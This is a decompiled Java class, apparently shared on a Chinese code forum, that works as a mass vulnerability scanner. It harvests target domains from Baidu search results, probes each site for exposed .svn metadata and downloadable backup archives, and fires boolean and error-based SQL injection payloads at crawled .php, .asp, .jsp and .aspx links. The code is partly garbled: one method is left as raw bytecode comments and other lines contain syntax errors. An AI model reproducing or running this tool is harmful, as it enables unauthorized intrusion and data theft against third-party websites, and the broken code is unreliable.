[Java] 纯文本查看 复制代码
package sql;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.UnsupportedEncodingException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLEncoder;
final class a implements Runnable {
private int a;
private int b;
private static String c = "";
private String[] d;
private static int e = 0;
private static String f = "";
private int g = 0;
private Boolean h = Boolean.valueOf(false);
private Boolean i = Boolean.valueOf(false);
private Boolean j = Boolean.valueOf(false);
private Boolean k = Boolean.valueOf(false);
private Boolean l = Boolean.valueOf(false);
private Boolean m = Boolean.valueOf(false);
private Boolean n = Boolean.valueOf(false);
private Boolean o = Boolean.valueOf(false);
public a(String[] paramArrayOfString, int paramInt1, int paramInt2, int paramInt3, boolean paramBoolean1, boolean paramBoolean2, boolean paramBoolean3, boolean paramBoolean4, boolean paramBoolean5, boolean paramBoolean6, boolean paramBoolean7, boolean paramBoolean8) {
this.a = paramInt1;
this.d = paramArrayOfString;
this.g = paramInt3;
this.b = paramInt2;
this.h = Boolean.valueOf(paramBoolean1);
this.i = Boolean.valueOf(paramBoolean2);
this.j = Boolean.valueOf(paramBoolean3);
this.k = Boolean.valueOf(paramBoolean4);
this.l = Boolean.valueOf(paramBoolean5);
this.m = Boolean.valueOf(paramBoolean6);
this.n = Boolean.valueOf(paramBoolean7);
this.o = Boolean.valueOf(paramBoolean8);
}
public final void run() {
if (this.d.length > this.b) {
byte b1 = 0;
for (int i = 0 * this.b + this.a; i < this.d.length; i = ++b1 * this.b + this.a) {
for (byte b2 = 0; b2 < 20; b2++) {
int j = b2 * 50;
try {
String str;
String[] arrayOfString;
if ((arrayOfString = (str = d("http://www.baidu.com/s?ie=utf-8&mod=1&isbd=1&isid=69C31E2567F24841&ie=utf-8&f=8&rsv_bp=1&tn=baiduadv&wd=" + URLEncoder.encode(this.d[i], "UTF-8") + "&rn=50&pn=" + j)).split("class=\"c-showurl\" style=\"text-decoration:none;\">")).length > 1)
for (byte b3 = 1; b3 < arrayOfString.length; b3++) {
String[] arrayOfString1;
if (arrayOfString[b3].indexOf("/") != -1 && c((arrayOfString1 = arrayOfString[b3].split("/"))[0]) != "") {
String str1 = c(arrayOfString1[0]);
if (c.indexOf(str1) == -1) {
c = String.valueOf(c) + str1 + "/**/";
sql.b(+ str1);
if (!sql.a.booleanValue()) {
sql.b();
return;
}
b(str1);
}
}
}
} catch (UnsupportedEncodingException unsupportedEncodingException) {}
}
}
return;
}
for (byte b = 0; b < 20; b++) {
int i = b * 50;
try {
String str;
String[] arrayOfString;
if ((arrayOfString = (str = d("http://www.baidu.com/s?ie=utf-8&mod=1&isbd=1&isid=69C31E2567F24841&ie=utf-8&f=8&rsv_bp=1&tn=baiduadv&wd=" + URLEncoder.encode(this.d[this.a], "UTF-8") + "&rn=50&pn=" + i)).split("class=\"c-showurl\" style=\"text-decoration:none;\">")).length > 1)
for (byte b1 = 1; b1 < arrayOfString.length; b1++) {
String[] arrayOfString1;
if (arrayOfString[b1].indexOf("/") != -1 && c((arrayOfString1 = arrayOfString[b1].split("/"))[0]) != "") {
String str1 = c(arrayOfString1[0]);
if (c.indexOf(str1) == -1) {
c = String.valueOf(c) + str1 + "/**/";
sql.b(+ str1);
if (!sql.a.booleanValue()) {
sql.b();
return;
}
b(str1);
}
}
}
} catch (UnsupportedEncodingException unsupportedEncodingException) {}
}
}
private static void a(String paramString) {
String[] arrayOfString;
String str;
int i = (arrayOfString = (str = "web.zip\r\nweb.rar\r\nwwwroot.rar\r\nwwwroot.zip\r\nwww.root.rar\r\nwww.root.zip\r\n1.rar\r\n1.zip\r\nbbs.rar\r\nbbs.zip\r\n123.rar\r\n123.zip\r\ndata.rar\r\ndata.zip\r\nadmin.rar\r\nadmin.zip\r\nwww.rar\r\nwww.zip\r\n2014.rar\r\n2015.rar\r\n2016.rar\r\n2014.zip\r\n2015.zip\r\n2016.zip").split("\r\n")).length;
while (i > 0) {
String[] arrayOfString1;
String str1;
if ((arrayOfString1 = (str1 = d("http://" + paramString + "/" + arrayOfString[--i])).split("klqq844812159")).length > 1) {
System.out.println(String.valueOf(arrayOfString1[0]) + "----" + arrayOfString1[1]);
if (Integer.parseInt(arrayOfString1[1]) > 1048576) {
sql.a(String.valueOf(e++), "http://" + paramString + "/" + arrayOfString[i],); //错误: 非法的表达式开始
return;
}
}
}
}
private static Boolean a(String paramString1, String paramString2) {
try {
String[] arrayOfString2 = d(String.valueOf(paramString1) + URLEncoder.encode("'/**/Xor/**/'1438'='1438", "UTF-8")).split("klqq844812159");
String[] arrayOfString4 = d(String.valueOf(paramString1) + URLEncoder.encode("'/**/Xor/**/'741'='438", "UTF-8")).split("klqq844812159");
String str2 = arrayOfString2[0];
String str4 = arrayOfString4[0];
if (str2.equals(paramString2) && !str4.equals(paramString2)) {
sql.a(String.valueOf(e++), paramString1, Xor);
return Boolean.valueOf(true);
}
String[] arrayOfString1 = d(String.valueOf(paramString1) + URLEncoder.encode("/**/Xor/**/1438=1438", "UTF-8")).split("klqq844812159");
String[] arrayOfString3 = d(String.valueOf(paramString1) + URLEncoder.encode("/**/Xor/**/741=438", "UTF-8")).split("klqq844812159");
String str1 = arrayOfString1[0];
String str3 = arrayOfString3[0];
if (str1.equals(paramString2) && !str3.equals(paramString2)) {
sql.a(String.valueOf(e++), paramString1, Xor);
return Boolean.valueOf(true);
}
} catch (UnsupportedEncodingException unsupportedEncodingException) {}
return Boolean.valueOf(false);
}
private static Boolean b(String paramString1, String paramString2) {
try {
String[] arrayOfString1 = d(String.valueOf(paramString1) + URLEncoder.encode("'/**/and/**/'1438'='1438", "UTF-8")).split("klqq844812159");
String[] arrayOfString2 = d(String.valueOf(paramString1) + URLEncoder.encode("'/**/and/**/'741'='438", "UTF-8")).split("klqq844812159");
String str1 = arrayOfString1[0];
String str2 = arrayOfString2[0];
if (str1.length() > 50 && str2.length() / paramString2.length() < 0.7D && paramString2.indexOf(str1.substring(str1.length() - 50, str1.length())) != -1 && str2.length() / str1.length() < 0.8D) {
sql.a(String.valueOf(e++), paramString1, And);
return Boolean.valueOf(true);
}
} catch (UnsupportedEncodingException unsupportedEncodingException) {}
return Boolean.valueOf(false);
}
private static Boolean c(String paramString1, String paramString2) {
try {
String[] arrayOfString1 = d(String.valueOf(paramString1) + URLEncoder.encode("/**/and/**/1438=1438", "UTF-8")).split("klqq844812159");
String[] arrayOfString2 = d(String.valueOf(paramString1) + URLEncoder.encode("/**/and/**/741=438", "UTF-8")).split("klqq844812159");
String str1 = arrayOfString1[0];
String str2 = arrayOfString2[0];
if (str1.length() > 50 && str2.length() / paramString2.length() < 0.7D && paramString2.indexOf(str1.substring(str1.length() - 50, str1.length())) != -1 && str2.length() / str1.length() < 0.8D) {
sql.a(String.valueOf(e++), paramString1, And);
return Boolean.valueOf(true);
}
} catch (UnsupportedEncodingException unsupportedEncodingException) {}
return Boolean.valueOf(false);
}
private void b(String paramString) {
// Byte code:
// 0: aload_0
// 1: getfield h : Ljava/lang/Boolean;
// 4: invokevirtual booleanValue : ()Z
// 7: ifeq -> 108
// 10: aload_1
// 11: astore #7
// 13: new java/lang/StringBuilder
// 16: dup
// 17: ldc 'http://'
// 19: invokespecial <init> : (Ljava/lang/String;)V
// 22: aload #7
// 24: invokevirtual append : (Ljava/lang/String;)Ljava/lang/StringBuilder;
// 27: ldc '/.svn/entries'
// 29: invokevirtual append : (Ljava/lang/String;)Ljava/lang/StringBuilder;
// 32: invokevirtual toString : ()Ljava/lang/String;
// 35: invokestatic d : (Ljava/lang/String;)Ljava/lang/String;
// 38: dup
// 39: astore_2
// 40: ldc 'dir'
// 42: invokevirtual indexOf : (Ljava/lang/String;)I
// 45: iconst_m1
// 46: if_icmpeq -> 108
// 49: aload_2
// 50: ldc 'svn'
// 52: invokevirtual indexOf : (Ljava/lang/String;)I
// 55: iconst_m1
// 56: if_icmpeq -> 108
// 59: aload_2
// 60: ldc '<?xml'
// 62: invokevirtual indexOf : (Ljava/lang/String;)I
// 65: iconst_m1
// 66: if_icmpne -> 108
// 69: getstatic sql/a.e : I
// 72: dup
// 73: iconst_1
// 74: iadd
// 75: putstatic sql/a.e : I
// 78: invokestatic valueOf : (I)Ljava/lang/String;
// 81: new java/lang/StringBuilder
// 84: dup
// 85: ldc 'http://'
// 87: invokespecial <init> : (Ljava/lang/String;)V
// 90: aload #7
// 92: invokevirtual append : (Ljava/lang/String;)Ljava/lang/StringBuilder;
// 95: ldc '/.svn/entries'
// 97: invokevirtual append : (Ljava/lang/String;)Ljava/lang/StringBuilder;
// 100: invokevirtual toString : ()Ljava/lang/String;
// 103: ldc 'Svn
// 105: invokestatic a : (Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
// 108: aload_0
// 109: getfield o : Ljava/lang/Boolean;
// 112: invokevirtual booleanValue : ()Z
// 115: ifeq -> 122
// 118: aload_1
// 119: invokestatic a : (Ljava/lang/String;)V
// 122: new java/lang/StringBuilder
// 125: dup
// 126: ldc 'http://'
// 128: invokespecial <init> : (Ljava/lang/String;)V
// 131: aload_1
// 132: invokevirtual append : (Ljava/lang/String;)Ljava/lang/StringBuilder;
// 135: invokevirtual toString : ()Ljava/lang/String;
// 138: invokestatic d : (Ljava/lang/String;)Ljava/lang/String;
// 141: dup
// 142: astore_2
// 143: ldc '<a href="'
// 145: invokevirtual indexOf : (Ljava/lang/String;)I
// 148: iconst_m1
// 149: if_icmpeq -> 759
// 152: aload_2
// 153: ldc '<a href="'
// 155: invokevirtual split : (Ljava/lang/String;)[Ljava/lang/String;
// 158: dup
// 159: astore #4
// 161: arraylength
// 162: iconst_1
// 163: if_icmple -> 759
// 166: iconst_1
// 167: istore #5
// 169: iconst_0
// 170: istore #6
// 172: goto -> 751
// 175: iload #6
// 177: aload_0
// 178: getfield g : I
// 181: if_icmpeq -> 759
// 184: aload #4
// 186: iload #5
// 188: aaload
// 189: ldc '"'
// 191: invokevirtual split : (Ljava/lang/String;)[Ljava/lang/String;
// 194: dup
// 195: astore_2
// 196: iconst_0
// 197: aaload
// 198: ldc '.php?'
// 200: invokevirtual indexOf : (Ljava/lang/String;)I
// 203: iconst_m1
// 204: if_icmpne -> 243
// 207: aload_2
// 208: iconst_0
// 209: aaload
// 210: ldc '.asp?'
// 212: invokevirtual indexOf : (Ljava/lang/String;)I
// 215: iconst_m1
// 216: if_icmpne -> 243
// 219: aload_2
// 220: iconst_0
// 221: aaload
// 222: ldc '.jsp?'
// 224: invokevirtual indexOf : (Ljava/lang/String;)I
// 227: iconst_m1
// 228: if_icmpne -> 243
// 231: aload_2
// 232: iconst_0
// 233: aaload
// 234: ldc '.aspx?'
// 236: invokevirtual indexOf : (Ljava/lang/String;)I
// 239: iconst_m1
// 240: if_icmpeq -> 748
// 243: aload_2
// 244: iconst_0
// 245: aaload
// 246: ldc 'http://'
// 248: invokevirtual indexOf : (Ljava/lang/String;)I
// 251: iconst_m1
// 252: if_icmpne -> 267
// 255: aload_2
// 256: iconst_0
// 257: aaload
// 258: ldc 'https://'
// 260: invokevirtual indexOf : (Ljava/lang/String;)I
// 263: iconst_m1
// 264: if_icmpeq -> 274
// 267: aload_2
// 268: iconst_0
// 269: aaload
// 270: astore_2
// 271: goto -> 302
// 274: new java/lang/StringBuilder
// 277: dup
// 278: ldc 'http://'
// 280: invokespecial <init> : (Ljava/lang/String;)V
// 283: aload_1
// 284: invokevirtual append : (Ljava/lang/String;)Ljava/lang/StringBuilder;
// 287: ldc '/'
// 289: invokevirtual append : (Ljava/lang/String;)Ljava/lang/StringBuilder;
// 292: aload_2
// 293: iconst_0
// 294: aaload
// 295: invokevirtual append : (Ljava/lang/String;)Ljava/lang/StringBuilder;
// 298: invokevirtual toString : ()Ljava/lang/String;
// 301: astore_2
// 302: getstatic sql/a.f : Ljava/lang/String;
// 305: aload_2
// 306: invokevirtual indexOf : (Ljava/lang/String;)I
// 309: iconst_m1
// 310: if_icmpne -> 748
// 313: iinc #6, 1
// 316: new java/lang/StringBuilder
// 319: dup
// 320: getstatic sql/a.f : Ljava/lang/String;
// 323: invokestatic valueOf : (Ljava/lang/Object;)Ljava/lang/String;
// 326: invokespecial <init> : (Ljava/lang/String;)V
// 329: aload_2
// 330: invokevirtual append : (Ljava/lang/String;)Ljava/lang/StringBuilder;
// 333: ldc '\\r\\n'
// 335: invokevirtual append : (Ljava/lang/String;)Ljava/lang/StringBuilder;
// 338: invokevirtual toString : ()Ljava/lang/String;
// 341: putstatic sql/a.f : Ljava/lang/String;
// 344: aload_2
// 345: invokestatic d : (Ljava/lang/String;)Ljava/lang/String;
// 348: ldc 'klqq844812159'
// 350: invokevirtual split : (Ljava/lang/String;)[Ljava/lang/String;
// 353: dup
// 354: astore_3
// 355: iconst_0
// 356: aaload
// 357: astore_3
// 358: aload_0
// 359: getfield i : Ljava/lang/Boolean;
// 362: invokevirtual booleanValue : ()Z
// 365: ifeq -> 467
// 368: aload_2
// 369: aload_3
// 370: astore #8
// 372: astore #7
// 374: new java/lang/StringBuilder
// 377: dup
// 378: aload #7
// 380: invokestatic valueOf : (Ljava/lang/Object;)Ljava/lang/String;
// 383: invokespecial <init> : (Ljava/lang/String;)V
// 386: ldc '%27'
// 388: invokevirtual append : (Ljava/lang/String;)Ljava/lang/StringBuilder;
// 391: invokevirtual toString : ()Ljava/lang/String;
// 394: invokestatic d : (Ljava/lang/String;)Ljava/lang/String;
// 397: dup
// 398: astore #9
// 400: ldc 'Microsoft JET Database Engine'
// 402: invokevirtual indexOf : (Ljava/lang/String;)I
// 405: iconst_m1
// 406: if_icmpne -> 431
// 409: aload #8
// 411: ldc '{500}'
// 413: invokevirtual indexOf : (Ljava/lang/String;)I
// 416: iconst_m1
// 417: if_icmpne -> 457
// 420: aload #9
// 422: ldc '{500}'
// 424: invokevirtual indexOf : (Ljava/lang/String;)I
// 427: iconst_m1
// 428: if_icmpeq -> 457
// 431: getstatic sql/a.e : I
// 434: dup
// 435: iconst_1
// 436: iadd
// 437: putstatic sql/a.e : I
// 440: invokestatic valueOf : (I)Ljava/lang/String;
// 443: aload #7
// 445: ldc '
// 447: invokestatic a : (Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
// 450: iconst_1
// 451: invokestatic valueOf : (Z)Ljava/lang/Boolean;
// 454: goto -> 461
// 457: iconst_0
// 458: invokestatic valueOf : (Z)Ljava/lang/Boolean;
// 461: invokevirtual booleanValue : ()Z
// 464: ifne -> 751
// 467: aload_0
// 468: getfield j : Ljava/lang/Boolean;
// 471: invokevirtual booleanValue : ()Z
// 474: ifeq -> 576
// 477: aload_2
// 478: aload_3
// 479: astore #8
// 481: astore #7
// 483: new java/lang/StringBuilder
// 486: dup
// 487: aload #7
// 489: invokestatic valueOf : (Ljava/lang/Object;)Ljava/lang/String;
// 492: invokespecial <init> : (Ljava/lang/String;)V
// 495: ldc '%27%23'
// 497: invokevirtual append : (Ljava/lang/String;)Ljava/lang/StringBuilder;
// 500: invokevirtual toString : ()Ljava/lang/String;
// 503: invokestatic d : (Ljava/lang/String;)Ljava/lang/String;
// 506: dup
// 507: astore #9
// 509: ldc 'MySQL '
// 511: invokevirtual indexOf : (Ljava/lang/String;)I
// 514: iconst_m1
// 515: if_icmpne -> 540
// 518: aload #8
// 520: ldc '{500}'
// 522: invokevirtual indexOf : (Ljava/lang/String;)I
// 525: iconst_m1
// 526: if_icmpne -> 566
// 529: aload #9
// 531: ldc '{500}'
// 533: invokevirtual indexOf : (Ljava/lang/String;)I
// 536: iconst_m1
// 537: if_icmpeq -> 566
// 540: getstatic sql/a.e : I
// 543: dup
// 544: iconst_1
// 545: iadd
// 546: putstatic sql/a.e : I
// 549: invokestatic valueOf : (I)Ljava/lang/String;
// 552: aload #7
// 554: ldc '
// 556: invokestatic a : (Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
// 559: iconst_1
// 560: invokestatic valueOf : (Z)Ljava/lang/Boolean;
// 563: goto -> 570
// 566: iconst_0
// 567: invokestatic valueOf : (Z)Ljava/lang/Boolean;
// 570: invokevirtual booleanValue : ()Z
// 573: ifne -> 751
// 576: aload_0
// 577: getfield k : Ljava/lang/Boolean;
// 580: invokevirtual booleanValue : ()Z
// 583: ifeq -> 685
// 586: aload_2
// 587: aload_3
// 588: astore #8
// 590: astore #7
// 592: new java/lang/StringBuilder
// 595: dup
// 596: aload #7
// 598: invokestatic valueOf : (Ljava/lang/Object;)Ljava/lang/String;
// 601: invokespecial <init> : (Ljava/lang/String;)V
// 604: ldc '%27%23'
// 606: invokevirtual append : (Ljava/lang/String;)Ljava/lang/StringBuilder;
// 609: invokevirtual toString : ()Ljava/lang/String;
// 612: invokestatic d : (Ljava/lang/String;)Ljava/lang/String;
// 615: dup
// 616: astore #9
// 618: ldc 'System.Data.SqlClient.SqlException:'
// 620: invokevirtual indexOf : (Ljava/lang/String;)I
// 623: iconst_m1
// 624: if_icmpne -> 649
// 627: aload #8
// 629: ldc '{500}'
// 631: invokevirtual indexOf : (Ljava/lang/String;)I
// 634: iconst_m1
// 635: if_icmpne -> 675
// 638: aload #9
// 640: ldc '{500}'
// 642: invokevirtual indexOf : (Ljava/lang/String;)I
// 645: iconst_m1
// 646: if_icmpeq -> 675
// 649: getstatic sql/a.e : I
// 652: dup
// 653: iconst_1
// 654: iadd
// 655: putstatic sql/a.e : I
// 658: invokestatic valueOf : (I)Ljava/lang/String;
// 661: aload #7
// 663: ldc '
// 665: invokestatic a : (Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
// 668: iconst_1
// 669: invokestatic valueOf : (Z)Ljava/lang/Boolean;
// 672: goto -> 679
// 675: iconst_0
// 676: invokestatic valueOf : (Z)Ljava/lang/Boolean;
// 679: invokevirtual booleanValue : ()Z
// 682: ifne -> 751
// 685: aload_0
// 686: getfield l : Ljava/lang/Boolean;
// 689: invokevirtual booleanValue : ()Z
// 692: ifeq -> 706
// 695: aload_2
// 696: aload_3
// 697: invokestatic c : (Ljava/lang/String;Ljava/lang/String;)Ljava/lang/Boolean;
// 700: invokevirtual booleanValue : ()Z
// 703: ifne -> 751
// 706: aload_0
// 707: getfield m : Ljava/lang/Boolean;
// 710: invokevirtual booleanValue : ()Z
// 713: ifeq -> 727
// 716: aload_2
// 717: aload_3
// 718: invokestatic b : (Ljava/lang/String;Ljava/lang/String;)Ljava/lang/Boolean;
// 721: invokevirtual booleanValue : ()Z
// 724: ifne -> 751
// 727: aload_0
// 728: getfield n : Ljava/lang/Boolean;
// 731: invokevirtual booleanValue : ()Z
// 734: ifeq -> 748
// 737: aload_2
// 738: aload_3
// 739: invokestatic a : (Ljava/lang/String;Ljava/lang/String;)Ljava/lang/Boolean;
// 742: invokevirtual booleanValue : ()Z
// 745: ifne -> 751
// 748: iinc #5, 1
// 751: iload #5
// 753: aload #4
// 755: arraylength
// 756: if_icmplt -> 175
// 759: return
}
private static String c(String paramString) {
String[] arrayOfString;
if (paramString.indexOf("...") != -1 && (arrayOfString = paramString.split("...")).length > 1)
paramString = arrayOfString[0];
if (paramString.indexOf("<b>") != -1) {
arrayOfString = paramString.split("<b>");
paramString = String.valueOf(arrayOfString[0]) + arrayOfString[1];
}
if (paramString.indexOf("<") != -1)
paramString = (arrayOfString = paramString.split("<"))[0];
if (paramString.indexOf("</b>") != -1) {
arrayOfString = paramString.split("</b>");
paramString = String.valueOf(arrayOfString[0]) + arrayOfString[1];
}
if (paramString.indexOf("http://") != -1)
paramString = (arrayOfString = paramString.split("http://"))[1];
if (paramString.indexOf("https://") != -1)
paramString = (arrayOfString = paramString.split("https://"))[1];
return paramString;
}
private static String d(String paramString) {
try {
URL uRL = new URL(paramString);
try {
String[] arrayOfString;
if ((arrayOfString = paramString.split("http://")).length > 1) {
arrayOfString = arrayOfString[1].split("/");
HttpURLConnection httpURLConnection;
(httpURLConnection = (HttpURLConnection)uRL.openConnection()).setRequestProperty("Accept", "text/html, application/xhtml+xml, image/jxr, */*");
httpURLConnection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36");
httpURLConnection.setRequestProperty("Accept-Language", "zh-CN");
httpURLConnection.setRequestProperty("Host", arrayOfString[0]);
httpURLConnection.setRequestProperty("Connection", "Keep-Alive");
httpURLConnection.setRequestMethod("GET");
int i;
if ((i = httpURLConnection.getResponseCode()) != 500 && i != 200)
return "{404}klqq8448121590";
if (i == 500)
return "{500}klqq8448121590";
String str = a(httpURLConnection.getInputStream());
int j = 0;
if (httpURLConnection.getContentLength() != -1)
j = httpURLConnection.getContentLength();
return String.valueOf(str) + "klqq844812159" + j;
}
} catch (IOException iOException) {}
} catch (MalformedURLException malformedURLException) {}
return "err";
}
private static String a(InputStream paramInputStream) {
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(paramInputStream));
StringBuffer stringBuffer = new StringBuffer();
String str;
while ((str = bufferedReader.readLine()) != null)
stringBuffer.append(str);
bufferedReader.close();
return stringBuffer.toString();
}
}